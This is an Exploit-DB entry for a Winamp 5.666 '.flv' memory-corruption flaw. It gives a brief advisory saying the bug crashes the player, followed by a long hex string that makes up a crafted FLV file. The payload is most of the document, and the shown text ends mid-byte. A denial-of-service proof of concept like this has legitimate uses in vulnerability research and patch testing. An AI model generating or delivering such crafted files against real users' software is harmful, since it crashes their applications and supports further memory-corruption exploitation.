Exploit-DB #39180
Description: Winamp - '.flv' File Processing Memory Corruption
Type: dos
Platform: windows
Date: 2014-05-16
Author: Aryan Bayaninejad

Exploit:
source: https://www.securityfocus.com/bid/67429/info

Winamp is prone to a memory-corruption vulnerability.

An attacker can leverage this issue to crash the affected application, causing a denial-of-service condition.

Winamp 5.666 is vulnerable; other versions may also be affected. 

data
="\x46\x4C\x56\x01\x05\x00\x00\x00\x09\x00\x00\x00\x00\x12\x00\x02\xA9\x00\x00\x00\x00\x00\x00\x00\x02\x00\x0A\x6F\x6E\x4D\x65\x74\x61\x44\x61\x74\x61\x08\x00\x00\x00\x1C\x00\x0C\x68\x61\x73\x4B\x65\x79\x66\x72\x61\x6D\x65\x73\x01\x01\x00\x09\x63\x75\x65\x50\x6F\x69\x6E\x74\x73\x0A\x00\x00\x00\x00\x00\x0D\x61\x75\x64\x69\x6F\x64\x61\x74\x61\x72\x61\x74\x65\x00\x40\x60\xAE\xC3\xE3\x6A\x59\xF5\x00\x08\x68\x61\x73\x56\x69\x64\x65\x6F\x01\x01\x00\x06\x73\x74\x65\x72\x65\x6F\x01\x01\x00\x0C\x63\x61\x6E\x53\x65\x65\x6B\x54\x6F\x45\x6E\x64\x01\x00\x00\x09\x66\x72\x61\x6D\x65\x72\x61\x74\x65\x00\x40\x2C\x00\x00\x00\x00\x00\x00\x00\x0F\x61\x75\x64\x69\x6F\x73\x61\x6D\x70\x6C\x65\x72\x61\x74\x65\x00\x40\xD5\x7C\x00\x00\x00\x00\x00\x00\x0C\x76\x69\x64\x65\x6F\x63\x6F\x64\x65\x63\x69\x64\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x08\x64\x61\x74\x61\x73\x69\x7A\x65\x00\x41\x09\x3F\x88\x00\x00\x00\x00\x00\x0D\x6C\x61\x73\x74\x74\x69\x6D\x65\x73\x74\x61\x6D\x70\x00\x40\x13\x7C\xED\x91\x68\x72\xB0\x00\x0F\x61\x75\x64\x69\x6F\x73\x61\x6D\x70\x6C\x65\x73\x69\x7A\x65\x00\x40\x30\x00\x00\x00\x00\x00\x00\x00\x09\x61\x75\x64\x69\x6F\x73\x69\x7A\x65\x00\x40\xF4\x5D\x40\x00\x00\x00\x00\x00\x08\x68\x61\x73\x41\x75\x64\x69\x6F\x01\x01\x00\x0A\x61\x75\x64\x69\x6F\x64\x65\x6C\x61\x79\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x76\x69\x64\xB9\x6F\x73\x69\x7A\x65\x00\x40\xFD\xF4\x70\x00\x00\x00\x00\x00\x0C\x6D\x65\x74\x61\x64\x61\x74\x61\x64\x61\x74\x65\x0B\x42\x73\xB6\xA9\xFC\x66\x60\x00\xFE\x20\x00\x0F\x6D\x65\x74\x61\x64\x61\x74\x61\x63\x72\x65\x61\x74\x6F\x72\x02\x00\x40\x69\x6E\x6C\x65\x74\x20\x6D\x65\x64\x69\x61\x20\x46\x4C\x56\x54\x6F\x6F\x6C\x32\x20\x76\x31\x2E\x30\x2E\x36\x20\x2D\x20\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x69\x6E\x6C\x65\x74\x2D\x6D\x65\x64\x69\x61\x2E\x64\x65\x2F\x66\x6C\x76\x74\x6F\x6F\x6C\x32\x00\x15\x6C\x61\x73\x74\x6B\x65\x79\x66\x72\x61\x6D\x65\x74\x69\x6D\x65\x73\x74\x61\x6D\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x68\x65\x69\x67\x68\x74\x00\x40\x6E\x00\x00\x00\x00\x00\x00\x00\x08\x66\x69\x6C\x65\x73\x69\x7A\x65\x00\x41\x09\x61\xB0\x00\x00\x00\x00\x00\x0B\x68\x61\x73\x4D\x65\x74\x61\x64\x61\x74\x61\x01\x01\x00\x09\x6B\x65\x79\x66\x72\x61\x6D\x65\x73\x03\x00\x0D\x66\x69\x6C\x65\x70\x6F\x73\x69\x74\x69\x6F\x6E\x73\x0A\x00\x00\x00\x01\x00\x40\x86\x28\x00\x00\x00\x00\x00\x00\x05\x74\x69\x6D\x65\x73\x0A\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x0C\x61\x75\x64\x69\x6F\x63\x6F\x64\x65\x63\x69\x64\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x0D\x76\x69\x64\x65\x6F\x64\x61\x74\x61\x72\x61\x74\x65\x00\x40\x69\x04\x41\x93\x8B\xFA\xF5\x00\x08\x64\x75\x72\x61\x74\x69\x6F\x6E\x00\x40\x13\xC1\x89\x37\x4B\xC6\xA8\x00\x0C\x68\x61\x73\x43\x75\x65\x50\x6F\x69\x6E\x74\x73\x01\x00\x00\x05\x77\x69\x64\x74\x68\x00\x40\x74\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x02\xB4\x09\x00\x07\xCA\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x84\x02\x91\x27\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\x7F\x7F\x9F\xF7\xF7\xF7\xF3\xFB\xFC\xFF\xBF\xBF\x20\x9F\xDF\xE7\xFD\xFD\xFD\xFC\xFE\xFF\x3F\xEF\xEF\xEF\xE7\xF7\xF9\xFF\x7F\x7F\x7F\x3F\xBF\xCF\xF7\xF7\xF7\xF7\xFF\xFE\x7F\xBF\xBF\xBF\xBF\xFF\xF3\xFD\xFD\xFD\xFD\xFF\xFF\x9F\xEF\xF7\xEF\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x3F\xBF\xCF\xFB\xFB\xFB\xF9\xFD\xFE\x7F\xDF\xDF\xDF\xCF\xEF\xF3\xFE\xFE\xFE\xFE\x7F\x7F\x9F\xF7\xF7\xF7\xF3\xFB\xFC\xFF\x7F\x7F\xBF\xBF\xFF\xE7\xFB\xFB\xFD\xFD\xFF\xFF\x3F\xDF\xDF\xEF\xEF\xFF\xF9\xFE\xFF\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xD8\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\xEF\xEF\xEF\xFF\xF9\xFF\x7F\x7F\x7F\x7F\xFF\xCF\xFB\xFB\xFB\xFB\xFF\xFE\x7F\xDF\xDF\xDF\xDF\xFF\xF3\xFE\xFE\xFE\xFE\xFF\xFF\x9F\xF7\xF7\xF7\xF7\xFF\xFC\xFF\xBF\xBF\xBF\xBF\xFF\xE7\xFD\xFD\xFD\xFD\xFF\xFF\x3F\xEF\